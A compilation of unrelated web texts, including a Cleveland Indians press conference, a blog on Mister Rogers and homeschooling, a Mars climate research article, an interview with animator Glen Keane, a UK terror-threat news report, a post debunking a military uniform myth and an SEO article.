FRANCONA: “You know how you were asking me before about these two knuckleheads? [motions to Antonetti and Chernoff]] There’s no better feeling — I walked into my office one day and Chris was sitting to the side of my desk and Brantley was sitting next to him and they were talking about him trying to play and all the things that it involved. I just turned around and walked out, because I wanted them to have the chance to talk, because I knew what it was about. It’s a good feeling. Not everything is always perfect. There’s so much gray, but I knew they were communicating about it. I was thrilled about that.”
On getting texts and messages after the loss:
FRANCONA: “I got a lot of really, really special texts already. For me personally, it’ll be hard to watch the rest of baseball. Last year, when we lost, it was over. There was no more baseball. When we lose, I want everybody to lose, and that’s not going to happen. That’s a hard one to swallow. When baseball is over, I’ll feel better, because it’s just a natural feeling. It hurts. You want to be a part of it and you’re not. It’s hard not to be jealous. A lot of things you’re not proud of, it’s hard not to feel that way. Then when it’s over, you take a deep breath, because nobody else is playing and then you start thinking more positively about next year.”
On ownership remaining as aggressive as the past couple of years:
ANTONETTI: “We haven’t had any conversations yet about what our payroll might be next year, other than we’ve all seen what the past behavior has been and ownership has continued to give us resources beyond what we could have expected to try to continue to have a winning and championship-caliber team. When we go into the offseason, I know we have a lot of decisions to make and things we need to work through, but we have a roster that’s still really talented and we’ll find ways to complement it effectively.”
FRANCONA: “I think back to the first Winter Meetings we had. Chris was sitting at a desk in the middle of the room by himself. We didn’t have any pitching. I was like, ‘Oh, my goodness.’ Now, we have a good team. And we’re going to continue to have a good team. Some of the names might change, but we’re going to be good. That helps.”
On Boone Logan:
ANTONETTI: “He chose the conservative route, so you really won’t know how successful that is until a guy starts his throwing progression and Boone is not yet to that point.”
On Francisco Mejia playing third in the Arizona Fall League:
ANTONETTI: “He’s going to get an opportunity to play in the Arizona Fall League and get some exposure at third base. We’ll see how that goes and that can help shape our plans in Spring Training. It’s important not to lose sight of the developmental year Francisco had as a catcher. He did an extraordinary job at continuing his development, both offensively but more specifically defensively, the way he led the staff, some of the nuances of catching. He’s in a much better spot now than he was a couple years ago as a defender. We talk about it all he time: The more versatility guys can have, the better. If he can be an option for us not only behind the plate, but at another position, that’s a huge asset.”
FRANCONA: “You guys were asking about the winning streak. That’d be the one thing that jumped out that I wish could have been different. He didn’t get a chance to catch because of that. We had no games. I think he caught one day in Detroit when we spread a game out. But, there just wasn’t the opportunity to catch him as much as I would have liked. That would be one of the things from that streak that stood out.”
On Francona saying once that Mejia was always standing near him with a bat in his hand…
FRANCONA: “You could tell, it’s a young kid who’s used to playing every day. He’s making the jump from Double-A to the Major Leagues and he’s playing so sporadically. You could even see in his at-bats, he was getting a little out of control. That’s not the type of hitter he is. He’s a really advanced hitter. He was put into some situations that were extremely challenging.”
Just a few days ago I received an unexpected gift from Yahoo. Streaming across my morning screen was a little blurb about Mister Rogers: “Mister Rogers remixed by Symphony of Science’s John D. Boswell for PBS Digital Studios.” I instantly wondered what a “remix” of Mister Rogers could be, so I clicked the link. What a pleasure to see one of my oldest and dearest friends smiling out at me from the computer monitor. As a young child, hardly a day went by without a visit to Mister Rogers’ Neighborhood.
My father passed away when I was seven years old. My mother quickly went back to school and worked very hard to earn a degree and find a job to support two young daughters. But that job also meant a lot of time on my own at a young age. I made my lunch and walked to school well after my mom had left for work and my older sister had boarded the school bus. But being alone with Mister Rogers streaming love and compassion through the television was a great comfort to me.
So what a thrill it was to be face to face with him early in the morning once again. But this time I’m a grown-up with four kids of my own. My children don’t go off to school in the morning either by foot or on a school-bus. We are happy and dedicated homeschoolers. We are following a path of life-long learning, emotional freedom, and spiritual dedication that is truly transforming our world. After watching the video, it was amazing to me how closely the life’s work and philosophies of Fred Rogers align with our family’s beliefs and actions as chassidic Jews and homeschoolers.
This fact became even more profound for me the next day when I happened on one of Mister Rogers’ books at our favorite independent book seller. The title is Life’s Journeys According to Mister Rogers – Things to Remember Along the Way. Little did I know that the seeds of my future embrace of Chabad chassidus and homeschooling were planted so many years ago by a kind man smiling out at me from an old television. Let me share some of my favorite quotes from this special little book:
“Who we are in the present includes who we were in the past.”
“I realize that it isn’t very fashionable to talk about some things as being holy; nevertheless, if we ever want to rid ourselves of personal and corporate emptiness, brokenness, loneliness, and fear, we will have to allow ourselves room for that which we cannot see, hear, touch, or control.”
“Try to make goodness attractive. That’s one of the toughest assignments you’ll ever be given.”
“One of our chief jobs in life, it seems to me, is to realize how rare and valuable each one of us really is — that each of us has something which no one else has — or ever will have — something inside which is unique to all time.”
“Are you able to believe in a loving presence who desires the best for you and the whole universe? With all of the sadness and destruction, negativity and rage expressed throughout the world, it’s tough not to wonder where the loving presence is. Well, we don’t have to look very far. Deep within each of us is a spark of the divine just waiting to be used to light up a dark place. The only thing is — we have the free choice of using it or not. that’s part of the mysterious truth of who we human beings are.”
“I don’t think anyone can grow unless he’s loved exactly as he is now, appreciated for what he is rather than what he will be.”
These are just a few of the motivations and energies that I hope our children are internalizing as chassidim and as students of the world. In all seriousness, I love to imagine a would-be yechidus between the Rebbe and Mister Rogers. And I hope that both of them would be proud to call my children their posterity.
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So how did it stay so warm?
Researchers from the Harvard John A. Paulson School of Engineering and Applied Sciences (SEAS) suggest that early Mars may have been warmed intermittently by a powerful greenhouse effect. In a paper published in Geophysical Research Letters, researchers found that interactions between methane, carbon dioxide and hydrogen in the early Martian atmosphere may have created warm periods when the planet could support liquid water on the surface.
“Early Mars is unique in the sense that it’s the one planetary environment, outside Earth, where we can say with confidence that there were at least episodic periods where life could have flourished,” said Robin Wordsworth, assistant professor of environmental science and engineering at SEAS, and first author of the paper. “If we understand how early Mars operated, it could tell us something about the potential for finding life on other planets outside the solar system.”
Four billion years ago, the Sun was about 30 percent fainter than today and significantly less solar radiation — a.k.a. heat — reached the Martian surface. The scant radiation that did reach the planet was trapped by the atmosphere, resulting in warm, wet periods. For decades, researchers have struggled to model exactly how the planet was insulated.
The obvious culprit is CO2. Carbon dioxide makes up 95 percent of today’s Martian atmosphere and is the most well-known and abundant greenhouse gas on Earth.
But CO2 alone does not account for Mars’ early temperatures.
“You can do climate calculations where you add CO2 and build up to hundreds of times the present day atmospheric pressure on Mars and you still never get to temperatures that are even close to the melting point,” said Wordsworth.
There must have been something else in Mars’ atmosphere that contributed to a greenhouse effect.
The atmospheres of rocky planets lose lighter gases, such as hydrogen, to space over time. (In fact, the oxidation that gives Mars its distinctive hue is a direct result of the loss of hydrogen.)
Wordsworth and his collaborators looked to these long-lost gases — known as reducing gases — to provide a possible explanation for Mars’ early climate. In particular, the team looked at methane, which today is not abundant in the Martian atmosphere. Billions of years ago, however, geological processes could have been releasing significantly more methane into the atmosphere. This methane would have been slowly converted to hydrogen and other gases, in a process similar to that occurring today on Saturn's moon, Titan.
To understand how this early Martian atmosphere may have behaved, the team needed to understand the fundamental properties of these molecules.
“When you’re looking at exotic atmospheres, you can’t compare them to Earth’s atmosphere,” said Wordsworth. “You have to start from first principles. So we looked at what happens when methane, hydrogen and carbon dioxide collide and how they interact with photons. We found that this combination results in very strong absorption of radiation.”
Carl Sagan first speculated that hydrogen warming could have been important on early Mars back in 1977, but this is the first time scientists have been able to calculate its greenhouse effect accurately. It is also the first time that methane has been shown to be an effective greenhouse gas on early Mars.
“This research shows that the warming effects of both methane and hydrogen have been underestimated by a significant amount,” said Wordsworth. “We discovered that methane and hydrogen, and their interaction with carbon dioxide, were much better at warming early Mars than had previously been believed.”
The researchers hope that future missions to Mars will shed light on the geological processes that produced methane billions of years ago.
“One of the reasons early Mars is so fascinating is that life needs complex chemistry to emerge,” said Wordsworth. “These episodes of reducing gas emission followed by planetary oxidation could have created favorable conditions for life on Mars.”
Early predictions have LeGarrette Blount penciled-in for 700 carries this season, averaging a projected 1.9 yards per carry. Screen passes and sweeps will be ceremoniously torn from the playbook and burned while Raye sings a traditional song worshipping the gods of mud and grass.
Raye will reportedly ask Blount to change his name to "Gore" and wear the number 21, so Raye can find him on the field and/or sideline.
Josh Freeman, who seems skittish about the move, will need a few healthy backups as he'll likely be unprotected and throwing the ball to God-knows-where, whenever a pass play is eventually called (via stuffing a tube-sock into Raye's mouth). Look for Freeman to have career lows in the following categories: all except for hand-offs.
It has also been reported that "Dadgum Yahoo" is on it's way to Tampa Bay, much to the shagrin of Raye. You'll remember it was Yahoo that reported dissention in the 49ers locker room, much of which was centered around the archaic play-calling on offense. At that time the 49ers had once run the ball 37 straight times in a single game, while trailing by 10 points.
An online flower shop that’s based in Chicago is asking potential customers to answer a question about their politics. If they don’t give the right answer they can keep their money.
WBBM’s Steve Miller reports.
The pop-up comes on the screen before you can order flowers from Flowers for Dreams.
It says: “Do you condemn racism, Nazism, and white nationalism?”
If yes – then customers may proceed.
If no – then people are automatically redirected to the U.S. Holocaust Museum website.
“For me, it’s pretty personal. I am the grandson of Holocaust survivors,” Flowers for Dreams co-founder Steven Dyme says.
“But we want to make it known that we don’t want their money.”
Dyme says he’s gotten positive feedback from people who already know his business — those who have already bought into the business model of a percentage of flower sales helping certain causes.
http://d.repec.org/n?u=RePEc:pra:mprapa:65515&r=dge
This paper studies the link between cross-border banking activities and the international propagation of real and financial shocks. We develop a two-country DSGE model with a bank capital channel and a financial accelerator, in which banks grant loans to domestic as well as to foreign firms. The model economy is calibrated to data from the U.S. and Canada. Our results suggest that following a positive technology shock and a tightening of home monetary policy, the existence of cross-border banking activities tends to amplify the transmission channel in both the domestic and the foreign country. However, cross-border banking activities tend to weaken the impact of shocks on foreign and home consumption because of the cross-border saving possibility between the two countries. Finally, our simulations suggest that under cross-border banking, correlations between macroeconomic variables of both countries become greater than in the absence of international banking activities. Overall, our results show sizable spillover effects of cross-border banking on macroeconomic dynamics and suggest cross border banking is an important source of the synchronization of business cycles between the U.S. and Canada.
If you open an economy, it should allow for opportunities to smooth economic fluctuations. It also opens it to shocks from abroad. This paper shows that this analysis becomes more subtle once you factor in cross-border banking. And it does so in interesting ways, as the channels of increasing synchronization of business cycles are so far not well understood.
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Glen was personally invited to join a distinguished list of artists and filmmakers to help launch the 3rd Stage by Benjamin Millepied, the new Director of Dance for the Paris Opera. Benjamin and Glen first met while they were both working on projects at Google last year. I was fortunate enough to steal some of Glen’s time and gain more insight into the production of the short.
The audio isn’t the best quality due to the long distance call, so I’ve also transcribed the interview below. Thanks to Bonny Báez for his work cleaning up the audio and creating the background music. It wouldn’t have been an option without him. Enjoy!
If you like what you hear, please consider supporting future episodes on Patreon.
Daniel: How did Nephtali get started? What was the original inspiration behind it?
Glen: As I was working on Duet, Benjamin Millepied was working on developing a project at Google. He had seen what I was animating, and we started talking about doing something together. He actually showed me how to do a pirouette that I used in Duet, and we just thought it would be wonderful to do something together but wasn’t sure exactly what. So when he became the Director at the Paris Ballet, he created another stage. They have three stages there. They have the Bastille Opera, and they have the Garnier Opera, where the Phantom of the Opera took place. That’s the central location; one of the most beautiful buildings in Paris. But he wanted to create a virtual stage called The 3rd Stage, and he invited a number of directors to come to the Paris ballet and find inspiration and do something that was calling to you.
He was not trying to impose any kind of creative direction on it other than that we were passionate about what we were going to do. So I’ve always just been fascinated with dance. It always feels to me that dance is very much an animator’s…kind of like another way of expressing yourself through dance. Most of the time that I’ve seen dance in animation, I’ve never felt that it was really living up to the potential. It feels that we are often way too bound by gravity, and yet animation doesn’t have to be. So I thought I wanted to do something where I can really let the figure float in the air if it needs to be, and to really draw some of the fluidity of line that feels bound even by a real ballerina. The human figure is bound by gravity, and animation can really set that free.
We have an apartment in Paris, and I would walk to the Opera House. On my way I was trying to figure out what I was going to do, as I was going to meet the ballerina, Marion Barbeau. I thought I would just use some of her choreography. They say that a ballerina may have up to sixty choreographies in her muscle memory; it’s just there, and they can dance it.
I thought I’ll use that, and just animate. And then all I could think of was Ollie Johnston saying to me, “Glen, don’t animate what the character is doing, animate what the character is thinking.” So I thought I can’t just go in there and draw her moving, I need to really give her a motivation and a purpose, and tell a little story. By the time I got there, I had developed a little story, and gave her the motivation on what these three basics acts to this little story would be. She was incredible. So anyways that’s pretty much how I developed it, and how the whole thing came to be.
Daniel: Can you talk a bit about creative process from studying the dancer in the studio in Paris to sitting down and animating it? Did you use charcoal for the end like you did in Pocahontas?
Glen: Well there was some charcoal drawings at the very beginning with the deer. The very end of it was actually a graphite pencil. A Mitsubishi pencil that we found in order to do Duet. It’s a 10B. I found out that it’s the same pencil that Miyazaki uses, which I didn’t know. When we were searching, we searched all over the world for the best pencil that had this really wonderful soft feel. So it can look like charcoal or you can be very accurate. That’s what I did Duet with, and that’s what what I’m going to draw with for the rest of my life. It’s so rich and wonderful in its line. I describe the line as having calories to it it’s so buttery. You get fat just drawing with it.
Benjamin Millepied and Dimitri Chamblas, who are running the Paris Ballet, invited me into to sit with some of the rehearsal sessions. As I was drawing Marion Barbeau and some of the other dancers, just watching them warm up, and as I’m sketching them warming up, I’m warming up myself and realizing how how much dance is very much a gestural, expressive medium. You are drawing a line of action from head to toe, and it’s very expressive. There’s a motion in those lines. As I worked with them throughout the next week, I found that working with a dancer is very much like working with an animator. They really truly were expressing themselves with their body, as opposed to me with my pencil. And they were really working towards silhouette, and all of the things that Frank Thomas, Ollie Johnston, Erik Larson were trying to drill into me, they were doing as well. They were trying to communicate with attitude, so that somebody in the back of the theater could read the pose. There was always an anticipation of movement…
Daniel: Clear staging…
Glen: Staging, everything was really designed for the audience; just communicating it clearly. As Eric would always say, “Make a positive statement.” And something that I had learned in my first years at Disney, Ollie would say, “Think in terms of golden poses.” Even though you’ve got 24 frames a second flashing by, it’s really maybe only three poses in a ten second scene that really tell the story. Just think in terms of what are these golden poses? And the more I watched ballet, I realized that’s what they’re all about. They’re hitting these golden poses, and they may leap through the air… The pose walks in and it’s this picture, and a pirouette is basically one pose that is frozen but is moving, and all of these different attitudes were carefully choreographed to tell a story in movement. So that’s what I worked with Marion on, in terms of what are those golden poses.
Recently, I’ve been working with Benoit Philipon. He is the guy that was doing the live action. We were talking about actually freezing those golden poses, and rotating them in space, and I would animate them moving in dimension. But I found that it was actually hurting the more important principle, which was communicating an emotion, a story. So I decided that I wasn’t going to freeze those moments. So there’s basically three acts that I worked out with it, and it very much comes from Psalm 42.
It’s a sense of spiritual longing in the first movement, which goes to conflict and struggle, and then finally a breaking free and a freedom of expression. Those three emotions are in that Psalm 42. The name Nephtali comes from when Jacob was blessing his twelve sons, the twelve tribes of Israel. His son Naphtali, spelled with an “a” in English. In French it’s with an “e”, so I used the “e” spelling as it was done in France. But Jacob says, “Naphtali is a doe set free that bears beautiful bonds.” And I’d always loved just that image of the power and the grace of a deer leaping free. And in the end having the fawns as a light that’s fruitful…these are things that are very personal for me. And because I was invited in in a similar way I was invited into Google…To be myself, and express something personal.
That’s what Benjamin Millepied was asking me to do. I find it really a gift for me to come in and not have to sell something or create something that stockholders will find fitting their guidelines. Instead, I found I had to complete creative freedom. It was really a wonderful experience. For me, drawing the figure has always been a joy. When I started animation, I just wanted to be a sculptor and a painter. So when I animate I’m constantly trying to find a way to draw the figure in space and turn them around.
Daniel: It’s sounds like that’s what you were doing when you were trying to find the golden poses. You’re still experimenting with drawing in dimension.
Glen: Yeah very much so. You’ve seen the Step Into the Page video?
Daniel: Yes
Glen: I mean that’s even another step beyond. It actually was funny, the day after I came back from Paris, after drawing these dancers, I went up to Google to do the Step Into the Page. And in Paris I was drawing this dancer who was leaping towards me. I had to draw that beautiful line of action of the dancer in perspective coming at me. Yet I knew that from a profile you would have this beautiful line of action running down the back all the way down to the feet, and that’s what I wanted to draw. But instead I had to do it in perspective, so it was sort of a frustration, and so the first thing I did when Bruce Skillman, one of the two guys developing Tilt Brush, gave me the stylus was I just drew a line going back in space like it was that same dancer.
I stepped around and saw this beautiful profile line and I could start to draw that dancer. That was really the first drawing that I did in VR. It was something that I found that I could never do on paper. It was incredibly liberating and difficult. I do think it’s going to take time to master that art of creating in VR. I don’t think it just gives itself up without some real effort of understanding the craft just like animation. I remember Frank and Ollie telling me it will take you five years to at least get to a point where you are comfortable animating so that you’ll understand what you’re doing with it. I hope it doesn’t take five years with this craft, but I don’t have any illusions that you just get it instantaneously.
Daniel: Do you plan on using it for any future shorts once you’ve explored it a bit more?
Glen: Well yeah, I’m developing a few ideas right now; trying to find the right partnership. Somebody who wants to collaborate, and do something that is personal, expressive. I want to do something that’s good. I want to do something that touches people in a meaningful way. I’m not interested in just the technical aspect of an object turning in space. I want them to have some emotional resonance with the audience.
Daniel: More than just a gimmick.
Glen: Yeah, much more than that. So I am talking to possible partners that we can do that with. Right now I’m not exactly sure. The thing is after leaving Disney, I left because I felt like there’s something wonderful out there waiting. I didn’t know what it was. Now I’m beginning to discover it. It really is an entirely new era of animation right now, and it’s not formed yet. It’s very very fluid. It’s kind of like if you’re making a sauce and at the beginning it’s just very liquid, and you’re stirring the spoon, and you’re thinking this is never going to thicken up. And you add some more flour, and pretty soon the gravy starts to get a little bit thicker, and then you have something wonderful. I think right now it’s still thin. It’s beginning to thicken. It’s beginning to form into something very personal, expressive, but it takes an enormous amount of communicating with others which is why I’m actually going out to The Future of Storytelling, to touch bases, to learn, to share. There’s an enormous amount of collaboration that’s happening right now outside of the big studios that I find incredibly exciting.
Daniel: Would you consider collaborating with another major artist, or do you want to focus more on personal stories right now?
Glen: I’m open to any kind of collaboration right now, and I’m finding that most of the people who I’m rubbing shoulders with are other artists as well. Maybe it’s going to be helping somebody else accomplish a vision that they have. It doesn’t have to be mine. I’ve spent my whole career helping directors realize their vision. Since I’ve left Disney, I’ve had wonderful opportunities of actually realizing some of my own, but I’m really open for the right marriage of creative people together. And if it means helping somebody else tell their story or working with another artist that I am sympatico with then yeah let’s do it. That’s how I feel.
Daniel: In the live action footage we see you directing the choreography of, Marion Barbeau, the dancer. Did you have an idea for what you wanted the whole sequence to look like from the start or was there more of an organic process with both artists bouncing ideas off of one another?
Glen: Yes and yes. I’d never done choreography before, though I’ve certainly thumbnailed so many different moments in animation that I assumed it was like that. Except that you are working with another person, a choreographer. I remember one time in Treasure Planet, John Ripa and I, we animated on the same animation desk at the same time where Long John Silver is meeting Jim Hawkins. John and I just choreographed it very much like a dance working around one another. I would run and animate a little thing, and then he jumped back in there it was…so collaborative that way. That was probably the closest I’ve had to this experience. I watched Benjamin Millepied, who is a genius in choreography. He works very intuitively, almost like it was straight ahead animation, where one pose just leads into the next.
He’s working with a dancer, watching them, and then something occurs to him, and then he adds on to it. He may have some general idea, but he’s really responding to the spirit of the moment. I watched him do that and I thought, “Okay, I can relate to that.” So when I came in, and I met Marion Barbeau, it was scary and intimidating because I don’t know dance. Here’s this ballerina who, her whole life since she was six years old was working and studying, and I’m not going to presume to know what she knows. But I did know that there are certain things that she needs. She needed for me to communicate the emotion that she had to have at the very beginning. I knew that I needed to have this longing start in one place, and have her move to the next point on the stage. So I did little thumbnail sketches to show her the way I thought she should move. And I mostly did them through little thumbnail drawings, sometimes trying to act them out for her.Then she would have an idea how to interpret this wind, this wave. In the middle of Psalm 42 it says,
Deep calls to deep in the roar of your waterfalls; All your waves and breakers have swept over me.
So I translated all of this in French to her, and the whole time was speaking to her in French. She understood that turbulent kind of a feeling. I kept looking for ways that we could get this beautiful arc. I kept imagining her as if she was a drawing. Even though you’re working with a ballerina, a living person, I’m still imagining her as drawing that’s actually moving across a space with a kind of an S Curve, a French Curve, in the arc of her path of action where she would fall down onto the ground. And sometimes it would feel a bit clunky, so I would ask her to do it again but with a little more of a graceful dissent as she would hit the ground and then rise up. There needed to be these changes of direction.
There’s basically three pieces of choreography, each one moving in its own direction, it was very simple that way. So I wrote down words for her, so that she could understand the one central thought in that, from desire or longing. French doesn’t have a word for longing, so I had to come up with other ways of translating that. Desire would probably be the closest. Then there would be this struggle, which was the second word. In French it was a different word, but it was something like that. And then, liberty, freedom was the last one. With all of those I did a lot of little sketches so she understood how I would do this if I was animating it, and then watching how she interpreted it.
So that was how we were doing it throughout the whole process I was working closely with Benoit Philippon, who was doing all the live-action. He was filming the whole process. I needed him to shoot certain angles because I was going to use that for reference when I came back to L.A. Then when we got back, I really only had about three weeks to do all the animation, which is what we did. My son Max, who was Production Designer for Duet, was also the Production Designer for Nephtali. He just has a knack of taking the drawings that I’m doing and making them look a hundred times better. Just putting them in space and dimension.
Daniel: From my perspective, as a fan and an observer, you have accumulated all of this knowledge and expertise over decades of creating animation, and now you have your own company, in a time with all this emerging technology at your fingertips. It’s seems to me that the possibilities of what someone like you can do are really limitless. I think I speak for everyone when I say we’re all waiting in anticipation for what you’re going to do next.
What are your long term goals in this business? What do you hope to achieve by the end of your career?
Glen: Well, I plan on living until I’m 120. So in a lot of ways I feel like I’m just beginning my career right now. I can honestly say that I feel very much the same way I did when I first started. I feel like I’m barely up to the task. When I started it seemed like everyone else knew so much more than I did, and I was playing catch-up all the time. And I always looked to past masters of drawing and sculpture as my guide when I became stuck. I wouldn’t look so much at animation as I would look at Rodin or Degas, and Augustus John, and learn that way. So now I’ve never lost that sense that if one of those artists from 150 years ago was transported to today and you gave them the tools that we have today. But didn’t show them any of the animation that’s been done, but just show them what’s possible. What would they do? What would they come up with? That’s kind of where I’m thinking of myself, in that sense of, if you could re-invent what you’re doing, who you are as an artist, and look at all of the tools afresh, you probably would never even come up with the look of Disney now. That’s a look that’s there because of a technical limitation of painting on cells. There would be an entirely different feeling to the way you draw
And now thinking about VR, maybe there’s a way of actually animating in three dimensional space. This is something I’m fascinated with actually animating around me with drawing in space as if you are sculpting that figure in space, but it’s in line. These are things that I’m really fascinated with and there’s been a few projects that have been cooking in my mind for thirty years now. I’ve been wanting to do them, but I never felt like I was ready. Not that I feel like I’m ready yet either. But at some point I’ve got to dive in and start, so right now I’m putting my sails up and seeing what fills them, and how I can accomplish these ideas.
The terror threat to the UK has been raised from substantial to severe - meaning a terrorist attack is "highly likely" - following increasing concerns over Islamic State militants.
Home Secretary Theresa May made the announcement this afternoon - although she stressed there is no information to suggest an attack is imminent.
It led to David Cameron saying new laws will be introduced to crack down on terror suspects as he warned that extremism in Iraq and Syria poses a greater danger to Britain than al Qaida.
The Prime Minister said legislation would be introduced so it was easier to seize jihadists' passports.
(Image: Andy Stenning/Mirrorpix)
"What we are facing in Iraq now with Isil (Islamic State) is a greater threat to our security than we have seen before," he told a press conference in Downing Street.
It comes against a backdrop of increasing concern about hundreds of aspiring British jihadis travelling to Iraq and Syria to learn terrorist "tradecraft", and the murder of American journalist James Foley by an apparently English killer.
Mrs May said: "The Joint Terrorism Analysis Centre (JTAC) is responsible for setting the national threat level. That informs the decisions of security professionals across the public and private sectors about the appropriate level of security in place across the United Kingdom.
"JTAC's judgements about that threat level are made on the basis of the very latest intelligence and are independent of ministers.
(Image: sky)
"JTAC has today raised the threat level to the UK from international terrorism from SUBSTANTIAL to SEVERE. That means that a terrorist attack is highly likely, but there is no intelligence to suggest that an attack is imminent."
It is understood that there is no intelligence relating to any specific threat to the forthcoming Nato summit.
Sir Bernard Hogan-Howe, the UK's most senior police officer, said Scotland Yard is prepared for an influx in case a swathe of homegrown extremists decide to return at the same time.
In a statement released today, Mrs May said: "The increase in the threat level is related to developments in Syria and Iraq where terrorist groups are planning attacks against the West.
WATCH BRITISH STUDENT BOAST OF JOINING 'GOLDEN ERA OF JIHAD'
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"Some of those plots are likely to involve foreign fighters who have travelled there from the UK and Europe to take part in those conflicts.
"The first and most important duty of government is the protection of the British people. We have already taken steps to improve our powers and increase our capabilities for dealing with the developing terrorist threats we face. That process will continue and the British public should be in no doubt that we will take the strongest possible action to protect our national security.
"We face a real and serious threat in the UK from international terrorism. I would urge the public to remain vigilant and to report any suspicious activity to the police."
National Policing Lead for Counter-Terrorism Assistant Commissioner Mark Rowley said: "We need communities and families to bring to our attention anyone they perceive may be vulnerable, a danger or escalating towards terrorism. Anyone with information is urged to contact the Anti-Terrorist Hotline on 0800 789 321.
Urban legends have staying power no matter how ridiculous they are (how many of you have eaten Pop Rocks with Coke to see if you would explode?), so we at the Rhino Den have taken it upon ourselves to thoroughly investigate one urban legend that persists in the military – The popular notion that Hollywood is not allowed to portray a military uniform correctly on film. We will now confirm or deny this myth once and for all by using our highly trained investigative skills….which means Google.
A quick search followed by a phone call to the Department of the Army’s Public Affairs Office led us to this little gem from U.S. Code Title 10, Subtitle A, Part II, Chapter 45, S772:
“While portraying a member of the Army, Navy, Air Force, or Marine Corps, an actor in a theatrical or motion-picture production may wear the uniform of that armed force if the portrayal does not tend to discredit that armed force.”
We also learned that the Department of Defense actually encourages filmmakers to get the uniform right and even has an office in Los Angeles called the Director of Entertainment Media. If that doesn’t blow this myth out of the water then the Supreme Court ruling on this very matter does.
Well that seemed easy. Too easy. There has to be more to this story, right? Where did this urban legend come from and why do people believe it? Why is it whenever we see a jacked up uniform on an actor some douche in the theater leans over to the chick he’s trying to impress and whispers, “That uniform is jacked up because they’re not allowed to wear it correctly. It’s illegal. I know these things, baby.”
“I think that’s because of 2 things,” says Enlisted creator and Rhino Den BFF Kevin Biegel. “One, sometimes Hollywood is lazy and doesn’t realize how important the uniform is. They figure, ‘Hey, just throw on some camo and some patches and most people will recognize the person on camera as a soldier and that’s all we care about.’ They don’t realize how incredibly powerful the image of a uniform can be for so many people. They don’t stop to think that people live and die in these uniforms.
I think the second reason is that uniforms are, frankly, hard for those of us who aren’t in the service. They are very detailed, there is a lot to get right, and if you’re not in the culture every day dealing with the reality of how you’re supposed to look then the importance of the smaller details can be lost on you. It can be intimidating.”
When writing Enlisted, Biegel did the right thing and hired two veterans to tighten up his shot group, Greg Bishop and Brian Chung at MUSA Consulting.
“The funny thing is once Enlisted got into series and we got as squared away as we could be, with a hardcore military consulting firm (MUSA) making sure we were doing it right, and having Veterans on set making sure it was right, and having extra wardrobe consultants making sure it was right — we STILL had people say, ‘Well that one little thing looks wrong to me.’ And then I’d see two Veterans talk about how they wore something slightly different. There will always be specifics that make one person go, ‘They got it!’ and make another go, ‘That’s horse crap.’ But I think by and large if you put in the time and effort to get it right from the get go, you’ll be okay. It’s not that hard and I wish more military productions would take the extra time to make that stuff look as good as it should.”
So maybe when you see a jacked up uniform on film it could be either lazy filmmakers or consultants who don’t know what they’re consulting about. Maybe they’re actually the perpetrators here or are getting asked questions they don’t have answers to and make it up. I served 24 years in the Army, but if someone asked me about Signal Retrans Operations I’d be a soup sandwich. That wasn’t my field. Biegel seems to agree.
“I also have seen people who are uniform ‘experts’ out here (in Hollywood) who consult on shows who get stuff very wrong,” he says. “If you don’t know up from down and you hire someone who purports to know the right way to do something, you trust that person knows their stuff. And when they don’t, it’s not that person who looks crazy – it’s you, the guy or girl who made the show. There are people who lie about their abilities in Hollywood – I know, it’s shocking! Some people in Hollywood lie!”
In the movie Blackhawk Down several of the main characters had their last name written in HUGE letters on the front of their Kevlar helmets, a clear violation of uniform policy and certainly not the reality of the Rangers in Mogadishu. The producers knew was inaccurate, but did it so the viewers could tell the characters apart during combat scenes and remember their names.
The bottom line is it’s absolutely not illegal to portray the uniform correctly. There is no law that says it has to be altered to protect the innocent or national secrets and any film that features a jacked up uniform is just lazy filmmaking and probably doesn’t deserve your dollars.
Myth debunked!
Oh, and if you were wondering… this isn’t the first time I have written about this subject.
Comments
Do you ever look back on SEO and long for the simpler days?
SEO has always been content-driven, but the meaning of optimized content has changed drastically over the years. Previously, we usually viewed content as a separate thing from SEO; the two existed in separate silos, only to come together for a brief moment in the optimization phase.
Back in these “old days,” optimizing your content for search engines involved keyword research, on-page optimization and a handful of other tactics. SEOs would often take content provided by a separate writing team and sprinkle a few keywords here and there (especially in prominent locations such as the headers and title tag) as well as a few well-placed anchor text links.
Later, we declared that “content is king,” shifting our focus from keyword-driven content to high-quality content. Search engines began cracking down on “over-optimized” content and shady link-building tactics in the hope of surfacing better results for users. The idea behind this shift was that great content should be rewarded, and that it would naturally garner valuable shares and trustworthy inbound links.
Content Optimization Grows Technical
These days, content optimization has shifted even further, into a more technical realm. Now that we have merged the SEO and content silos to create high-quality, search-friendly content, we have to consider how both users and machines are accessing that content.
A good user experience across all devices — smartphone, tablet, and desktop — has become an important consideration in search engine optimization, along with semantic markup that helps search engines to better understand the meaning of your content.
While the search results are arguably better now than they were years ago, and the search experience is much more advanced, the convergence of content and SEO is now more technical than ever.
In this post, I will discuss two areas where content and technical SEO have converged. It’s up to brands to figure out how quickly they want to adapt their experience to that convergence and stay on top of the game.
Content & Mobile
Sixty-two percent (62%) of organic searches today show different results depending on whether the search was performed on a desktop or a smartphone. This is according to BrightEdge research earlier this year for its 2014 Mobile Share Report, and is an indicator of search catering your content to the device.
With the mobile surge (remember when Google’s Matt Cutts said he wouldn’t be surprised if mobile queries surpassed desktop this year?), how your content is displayed for mobile users is a real concern for brands.
Smartphone penetration is forecasted to be at 74 percent in the U.S. by the end of the year, according to a report by comScore. Thus, the time is now to figure out how content and mobile should exist on your site.
This decision starts with the method of content delivery (your mobile configuration) and moves into the personalized message for the device (how will the message differ?).
“It’s surprising to still see people just digitize content, but not actually tailor it for mobile,” Google’s Darren Pleasance said in a recent interview for the BrightEdge blog (my employer). “There is a new phase of content development forming with in-app and mobile experiences.
Content is being developed and tailored for device types that fundamentally improve the overall experience.” To prepare for the mobile content revolution that’s happening as we speak, first focus on the following:
Ensure That Content Can Be Accessed Via Mobile Device. If your users have a poor mobile experience, they won’t stay on your site — and your site might even experience lower rankings in mobile search results. Choose Your Mobile Configuration Wisely. Not all mobile solutions are created equal, and certain mobile configurations can cause more technical implementation problems than others. Decide Which Content Should Be Displayed On Desktop Vs. Mobile. Your mobile users may have different needs than your desktop users. Work to uncover what their goals and intentions may be, and decide how your content will cater to them.
For further reading on how to prepare your content for mobile, dive into this post I wrote for Marketing Land titled, “Going All Responsive Is Not Always ‘One Size Fits All’ with Mobile.”
